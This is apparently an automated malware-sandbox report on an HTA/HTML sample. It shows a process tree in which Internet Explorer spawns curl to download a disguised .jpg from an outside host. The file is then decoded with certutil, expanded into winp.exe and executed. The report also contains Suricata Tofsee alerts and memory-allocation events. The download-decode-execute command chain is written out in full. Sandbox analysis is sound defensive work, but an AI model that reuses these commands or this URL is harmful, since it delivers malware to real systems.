Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	Jan. 16, 2024, 10:01 a.m.	Jan. 16, 2024, 10:03 a.m.

Size	1.4KB
Type	HTML document, ASCII text, with CRLF line terminators
MD5	`a712950af45bdc5e33863aae223c1ac6`
SHA256	`3ee3d0fe0a4bfb5b0409803a5151fead88711ff56c349c22b7086a468fcc4400`
CRC32	`80BEC72F`
ssdeep	`24:hP7nSTlFE82GI/LUiaMJBB+DOAsXzOXM6OiOvsYpESVpE0MC7:t7iFI/LUTQ+DOAsjOctlEYqcqLC7`
Yara	None matched

iexplore.exe "C:\Program Files\Internet Explorer\iexplore.exe" C:\Users\test22\AppData\Local\Temp\M.hta.html
2612
- iexplore.exe "C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:2612 CREDAT:145409
  2700
  - cmd.exe "C:\Windows\system32\cmd.exe" /c ping -n 10 127.0.0.1 > nul
    3004
    - PING.EXE ping -n 10 127.0.0.1
      2056
  - cmd.exe "C:\Windows\system32\cmd.exe" /c ping -n 20 127.0.0.1 > nul
    2404
    - PING.EXE ping -n 20 127.0.0.1
      2492
  - curl.exe "C:\util\curl\curl.exe" https://mail.chapanakit-rta.com/pt/wct9D39.jpg -o C:\Users\Public\Documents\wct9D39.jpg
    2248
  - certutil.exe "C:\Windows\System32\certutil.exe" -decode "C:\Users\Public\Documents\wct9D39.jpg" "C:\Users\Public\Documents\wct9D39.tmp"
    676
  - cmd.exe "C:\Windows\system32\cmd.exe" /c ping -n 10 127.0.0.1 > nul
    1064
    - PING.EXE ping -n 10 127.0.0.1
      2976
  - expand.exe "C:\Windows\System32\expand.exe" C:\Users\Public\Documents\wct9D39.tmp -f:* c:\users\public\Videos\winp.exe
    2272
  - cmd.exe "C:\Windows\system32\cmd.exe" /c ping -n 5 127.0.0.1 > nul
    1308
    - PING.EXE ping -n 5 127.0.0.1
      2180
  - cmd.exe "C:\Windows\System32\cmd.exe" /c c:\users\public\Videos\winp.exe
    2428
- iexplore.exe "C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:2612 CREDAT:79876
  2936

Name	Response	Post-Analysis Lookup
mail.chapanakit-rta.com	A 203.113.25.99	203.113.25.99

IP Address	Status	Action
117.18.232.200	Active	Moloch
164.124.101.2	Active	Moloch
203.113.25.99	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.101:49197 -> 117.18.232.200:443	906200054	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 117.18.232.200:443 -> 192.168.56.101:49199	2029340	ET INFO TLS Handshake Failure	Potentially Bad Traffic
TCP 192.168.56.101:49174 -> 203.113.25.99:443	906200054	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.101:49172 -> 203.113.25.99:443	906200054	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.101:49175 -> 203.113.25.99:443	906200054	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.101:49198 -> 117.18.232.200:443	906200054	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.101:49171 -> 203.113.25.99:443	906200054	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 117.18.232.200:443 -> 192.168.56.101:49195	2029340	ET INFO TLS Handshake Failure	Potentially Bad Traffic
TCP 192.168.56.101:49193 -> 117.18.232.200:443	906200054	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.101:49194 -> 117.18.232.200:443	906200054	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined

Suricata TLS

Flow	Issuer	Subject	Fingerprint
TLSv1 192.168.56.101:49172 203.113.25.99:443	C=BE, O=GlobalSign nv-sa, CN=AlphaSSL CA - SHA256 - G4	CN=*.chapanakit-rta.com	71:c1:ac:d9:40:ee:0f:2b:f4:f8:b9:d7:c2:d3:69:e5:47:a5:30:cc
TLSv1 192.168.56.101:49174 203.113.25.99:443	None	None	None
TLSv1 192.168.56.101:49171 203.113.25.99:443	C=BE, O=GlobalSign nv-sa, CN=AlphaSSL CA - SHA256 - G4	CN=*.chapanakit-rta.com	71:c1:ac:d9:40:ee:0f:2b:f4:f8:b9:d7:c2:d3:69:e5:47:a5:30:cc
TLSv1 192.168.56.101:49175 203.113.25.99:443	None	None	None
TLS 1.2 192.168.56.101:49182 203.113.25.99:443	C=BE, O=GlobalSign nv-sa, CN=AlphaSSL CA - SHA256 - G4	CN=*.chapanakit-rta.com	71:c1:ac:d9:40:ee:0f:2b:f4:f8:b9:d7:c2:d3:69:e5:47:a5:30:cc

Queries for the computername (1 event)

Time & API	Arguments	Status	Return	Repeated
GetComputerNameW Jan. 16, 2024, 9:54 a.m.	computer_name: TEST22-PC	1	1	0

Checks if process is being debugged by a debugger (1 event)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Jan. 16, 2024, 9:54 a.m.			0	0

Command line console output was observed (4 events)

Time & API	Arguments	Status	Return
WriteConsoleW Jan. 16, 2024, 9:54 a.m.	buffer: DecodeFile returned The system cannot find the file specified. 0x80070002 (WIN32: 2) console_handle: 0x0000000000000007	1	1
WriteConsoleW Jan. 16, 2024, 9:54 a.m.	buffer: CertUtil: -decode command FAILED: 0x80070002 (WIN32: 2) console_handle: 0x0000000000000007	1	1
WriteConsoleW Jan. 16, 2024, 9:54 a.m.	buffer: CertUtil: The system cannot find the file specified. console_handle: 0x0000000000000007	1	1
WriteConsoleW Jan. 16, 2024, 9:54 a.m.	buffer: 'c:\users\public\Videos\winp.exe' is not recognized as an internal or external command, operable program or batch file. console_handle: 0x000000000000000b	1	1

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Jan. 16, 2024, 9:54 a.m.		1	1	0

One or more processes crashed (1 event)

Time & API	Arguments	Status	Return	Repeated
__exception__ Jan. 16, 2024, 10:02 a.m.	stacktrace: RaiseException+0x3d FreeEnvironmentStringsW-0x373 kernelbase+0xa49d @ 0x7fefd4fa49d RpcRaiseException+0x53 RpcExceptionFilter-0x2bd rpcrt4+0x173c3 @ 0x7fefdba73c3 ObjectStublessClient32+0x8bf CoDisconnectContext-0x107b9 ole32+0x443bf @ 0x7fefd9243bf IUnknown_AddRef_Proxy+0x1f5 NdrFixedArrayBufferSize-0xeb rpcrt4+0x35295 @ 0x7fefdbc5295 I_RpcFreeBuffer+0x1b9 NdrRangeUnmarshall-0x5a7 rpcrt4+0x32799 @ 0x7fefdbc2799 Ndr64AsyncServerCallAll+0xa9e Ndr64AsyncClientCall-0xf42 rpcrt4+0xdaf1e @ 0x7fefdc6af1e Ndr64AsyncServerCallAll+0x12ec Ndr64AsyncClientCall-0x6f4 rpcrt4+0xdb76c @ 0x7fefdc6b76c NdrStubCall3+0xc6 NdrOleAllocate-0x3ea rpcrt4+0x348d6 @ 0x7fefdbc48d6 CoGetInstanceFromFile+0x4cd3 HACCEL_UserFree-0x70fd ole32+0x170883 @ 0x7fefda50883 CoGetInstanceFromFile+0x511d HACCEL_UserFree-0x6cb3 ole32+0x170ccd @ 0x7fefda50ccd CoGetInstanceFromFile+0x5093 HACCEL_UserFree-0x6d3d ole32+0x170c43 @ 0x7fefda50c43 CoSetState+0x1450 DcomChannelSetHResult-0x34c ole32+0x2a4f0 @ 0x7fefd90a4f0 GetErrorInfo+0x599 ObjectStublessClient7-0xb1f ole32+0x3d551 @ 0x7fefd91d551 CoGetInstanceFromFile+0x78ce HACCEL_UserFree-0x4502 ole32+0x17347e @ 0x7fefda5347e CoGetInstanceFromFile+0x567b HACCEL_UserFree-0x6755 ole32+0x17122b @ 0x7fefda5122b CoGetInstanceFromFile+0x7992 HACCEL_UserFree-0x443e ole32+0x173542 @ 0x7fefda53542 GetErrorInfo+0x475 ObjectStublessClient7-0xc43 ole32+0x3d42d @ 0x7fefd91d42d GetErrorInfo+0x21e ObjectStublessClient7-0xe9a ole32+0x3d1d6 @ 0x7fefd91d1d6 TranslateMessageEx+0x2a1 IntersectRect-0x11f user32+0x19bd1 @ 0x769c9bd1 TranslateMessage+0x1ea DispatchMessageW-0x42 user32+0x198da @ 0x769c98da GetErrorInfo+0xf3 ObjectStublessClient7-0xfc5 ole32+0x3d0ab @ 0x7fefd91d0ab CoUnloadingWOW+0x117 OleCreateFromFileEx-0x1829 ole32+0x163e57 @ 0x7fefda43e57 ObjectStublessClient24+0x1876 CLSIDFromString-0x57a ole32+0x10106 @ 0x7fefd8f0106 ObjectStublessClient24+0x18f2 CLSIDFromString-0x4fe ole32+0x10182 @ 0x7fefd8f0182 BaseThreadInitThunk+0xd CreateThread-0x53 kernel32+0x1652d @ 0x76c2652d RtlUserThreadStart+0x21 strchr-0x3df ntdll+0x2c521 @ 0x76d5c521 exception.instruction_r: 48 81 c4 c8 00 00 00 c3 48 85 f6 74 08 83 3b 00 exception.symbol: RaiseException+0x3d FreeEnvironmentStringsW-0x373 kernelbase+0xa49d exception.instruction: add rsp, 0xc8 exception.module: KERNELBASE.dll exception.exception_code: 0x80040155 exception.offset: 42141 exception.address: 0x7fefd4fa49d registers.r14: 0 registers.r15: 0 registers.rcx: 113698224 registers.rsi: 0 registers.r10: 0 registers.rbx: 0 registers.rsp: 113704176 registers.r11: 113699984 registers.r8: 0 registers.r9: 0 registers.rdx: 1 registers.r12: 0 registers.rbp: 0 registers.rdi: 0 registers.rax: 1881231233 registers.r13: 0	1	0	0

Time & API

Arguments

Status

Return

Repeated

__exception__

Jan. 16, 2024, 10:02 a.m.

stacktrace:

RaiseException+0x3d FreeEnvironmentStringsW-0x373 kernelbase+0xa49d @ 0x7fefd4fa49d
RpcRaiseException+0x53 RpcExceptionFilter-0x2bd rpcrt4+0x173c3 @ 0x7fefdba73c3
ObjectStublessClient32+0x8bf CoDisconnectContext-0x107b9 ole32+0x443bf @ 0x7fefd9243bf
IUnknown_AddRef_Proxy+0x1f5 NdrFixedArrayBufferSize-0xeb rpcrt4+0x35295 @ 0x7fefdbc5295
I_RpcFreeBuffer+0x1b9 NdrRangeUnmarshall-0x5a7 rpcrt4+0x32799 @ 0x7fefdbc2799
Ndr64AsyncServerCallAll+0xa9e Ndr64AsyncClientCall-0xf42 rpcrt4+0xdaf1e @ 0x7fefdc6af1e
Ndr64AsyncServerCallAll+0x12ec Ndr64AsyncClientCall-0x6f4 rpcrt4+0xdb76c @ 0x7fefdc6b76c
NdrStubCall3+0xc6 NdrOleAllocate-0x3ea rpcrt4+0x348d6 @ 0x7fefdbc48d6
CoGetInstanceFromFile+0x4cd3 HACCEL_UserFree-0x70fd ole32+0x170883 @ 0x7fefda50883
CoGetInstanceFromFile+0x511d HACCEL_UserFree-0x6cb3 ole32+0x170ccd @ 0x7fefda50ccd
CoGetInstanceFromFile+0x5093 HACCEL_UserFree-0x6d3d ole32+0x170c43 @ 0x7fefda50c43
CoSetState+0x1450 DcomChannelSetHResult-0x34c ole32+0x2a4f0 @ 0x7fefd90a4f0
GetErrorInfo+0x599 ObjectStublessClient7-0xb1f ole32+0x3d551 @ 0x7fefd91d551
CoGetInstanceFromFile+0x78ce HACCEL_UserFree-0x4502 ole32+0x17347e @ 0x7fefda5347e
CoGetInstanceFromFile+0x567b HACCEL_UserFree-0x6755 ole32+0x17122b @ 0x7fefda5122b
CoGetInstanceFromFile+0x7992 HACCEL_UserFree-0x443e ole32+0x173542 @ 0x7fefda53542
GetErrorInfo+0x475 ObjectStublessClient7-0xc43 ole32+0x3d42d @ 0x7fefd91d42d
GetErrorInfo+0x21e ObjectStublessClient7-0xe9a ole32+0x3d1d6 @ 0x7fefd91d1d6
TranslateMessageEx+0x2a1 IntersectRect-0x11f user32+0x19bd1 @ 0x769c9bd1
TranslateMessage+0x1ea DispatchMessageW-0x42 user32+0x198da @ 0x769c98da
GetErrorInfo+0xf3 ObjectStublessClient7-0xfc5 ole32+0x3d0ab @ 0x7fefd91d0ab
CoUnloadingWOW+0x117 OleCreateFromFileEx-0x1829 ole32+0x163e57 @ 0x7fefda43e57
ObjectStublessClient24+0x1876 CLSIDFromString-0x57a ole32+0x10106 @ 0x7fefd8f0106
ObjectStublessClient24+0x18f2 CLSIDFromString-0x4fe ole32+0x10182 @ 0x7fefd8f0182
BaseThreadInitThunk+0xd CreateThread-0x53 kernel32+0x1652d @ 0x76c2652d
RtlUserThreadStart+0x21 strchr-0x3df ntdll+0x2c521 @ 0x76d5c521

exception.instruction_r: 48 81 c4 c8 00 00 00 c3 48 85 f6 74 08 83 3b 00
exception.symbol: RaiseException+0x3d FreeEnvironmentStringsW-0x373 kernelbase+0xa49d
exception.instruction: add rsp, 0xc8
exception.module: KERNELBASE.dll
exception.exception_code: 0x80040155
exception.offset: 42141
exception.address: 0x7fefd4fa49d
registers.r14: 0
registers.r15: 0
registers.rcx: 113698224
registers.rsi: 0
registers.r10: 0
registers.rbx: 0
registers.rsp: 113704176
registers.r11: 113699984
registers.r8: 0
registers.r9: 0
registers.rdx: 1
registers.r12: 0
registers.rbp: 0
registers.rdi: 0
registers.rax: 1881231233
registers.r13: 0

Starts servers listening (3 events)

Time & API	Arguments	Status	Return
bind Jan. 16, 2024, 9:54 a.m.	ip_address: 127.0.0.1 socket: 144 port: 0	1	0
listen Jan. 16, 2024, 9:54 a.m.	socket: 144 backlog: 1	1	0
accept Jan. 16, 2024, 9:54 a.m.	ip_address: socket: 144 port: 0	1	152

Performs some HTTP requests (3 events)

request	GET http://ie9cvlist.ie.microsoft.com/IE9CompatViewList.xml
request	GET https://mail.chapanakit-rta.com/images/happynewyear.jpg
request	GET https://mail.chapanakit-rta.com/favicon.ico

Allocates read-write-execute memory (usually to unpack itself) (50 out of 89 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Jan. 16, 2024, 10:01 a.m.	process_identifier: 2612 region_size: 9506816 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000031c0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Jan. 16, 2024, 10:01 a.m.	process_identifier: 2612 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000003ad0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 16, 2024, 10:01 a.m.	process_identifier: 2612 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076a21000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 16, 2024, 10:01 a.m.	process_identifier: 2612 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076a21000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 16, 2024, 10:01 a.m.	process_identifier: 2612 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076a21000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 16, 2024, 10:01 a.m.	process_identifier: 2612 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076a21000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 16, 2024, 10:01 a.m.	process_identifier: 2612 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076a21000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 16, 2024, 10:01 a.m.	process_identifier: 2612 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076a21000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 16, 2024, 10:01 a.m.	process_identifier: 2612 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000769cd000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 16, 2024, 10:01 a.m.	process_identifier: 2612 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000769f2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 16, 2024, 10:01 a.m.	process_identifier: 2612 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000769d4000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 16, 2024, 10:01 a.m.	process_identifier: 2612 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000769f2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 16, 2024, 10:01 a.m.	process_identifier: 2612 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefbca5000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 16, 2024, 10:01 a.m.	process_identifier: 2612 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefbca5000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 16, 2024, 10:01 a.m.	process_identifier: 2612 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefefc4000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 16, 2024, 10:01 a.m.	process_identifier: 2612 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefdcd1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 16, 2024, 10:01 a.m.	process_identifier: 2612 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000769ba000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Jan. 16, 2024, 10:01 a.m.	process_identifier: 2612 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000003670000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 16, 2024, 10:01 a.m.	process_identifier: 2612 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000000007304c000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 16, 2024, 10:02 a.m.	process_identifier: 2612 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000074213000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Jan. 16, 2024, 10:01 a.m.	process_identifier: 2700 region_size: 14749696 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002410000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Jan. 16, 2024, 10:01 a.m.	process_identifier: 2700 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000003220000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 16, 2024, 10:01 a.m.	process_identifier: 2700 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076a21000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 16, 2024, 10:01 a.m.	process_identifier: 2700 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076a21000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 16, 2024, 10:01 a.m.	process_identifier: 2700 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076a21000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 16, 2024, 10:01 a.m.	process_identifier: 2700 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076a21000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 16, 2024, 10:01 a.m.	process_identifier: 2700 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076a21000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 16, 2024, 10:01 a.m.	process_identifier: 2700 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076a21000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 16, 2024, 10:01 a.m.	process_identifier: 2700 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000769cd000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 16, 2024, 10:01 a.m.	process_identifier: 2700 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000769f2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 16, 2024, 10:01 a.m.	process_identifier: 2700 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000769d4000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 16, 2024, 10:01 a.m.	process_identifier: 2700 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000769f2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 16, 2024, 10:01 a.m.	process_identifier: 2700 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefbca5000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 16, 2024, 10:01 a.m.	process_identifier: 2700 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefbca5000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 16, 2024, 10:01 a.m.	process_identifier: 2700 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefefc4000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 16, 2024, 10:01 a.m.	process_identifier: 2700 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefdcd1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 16, 2024, 10:01 a.m.	process_identifier: 2700 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000769ba000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 16, 2024, 10:01 a.m.	process_identifier: 2700 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000769bf000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 16, 2024, 10:01 a.m.	process_identifier: 2700 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000769bd000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 16, 2024, 10:01 a.m.	process_identifier: 2700 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000769bb000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 16, 2024, 10:01 a.m.	process_identifier: 2700 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076c26000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 16, 2024, 10:01 a.m.	process_identifier: 2700 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076d76000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 16, 2024, 10:01 a.m.	process_identifier: 2700 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076c21000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 16, 2024, 10:01 a.m.	process_identifier: 2700 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000769c0000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 16, 2024, 10:01 a.m.	process_identifier: 2700 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000769ba000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 16, 2024, 10:01 a.m.	process_identifier: 2700 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076d4f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 16, 2024, 10:01 a.m.	process_identifier: 2700 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076d5b000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 16, 2024, 10:01 a.m.	process_identifier: 2700 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefda37000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 16, 2024, 10:01 a.m.	process_identifier: 2700 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefef64000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 16, 2024, 10:01 a.m.	process_identifier: 2700 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefef61000 process_handle: 0xffffffffffffffff	1

An application raised an exception which may be indicative of an exploit crash (2 events)

Time & API	Arguments	Status	Return	Repeated
Application Crash	Process iexplore.exe with pid 2612 crashed
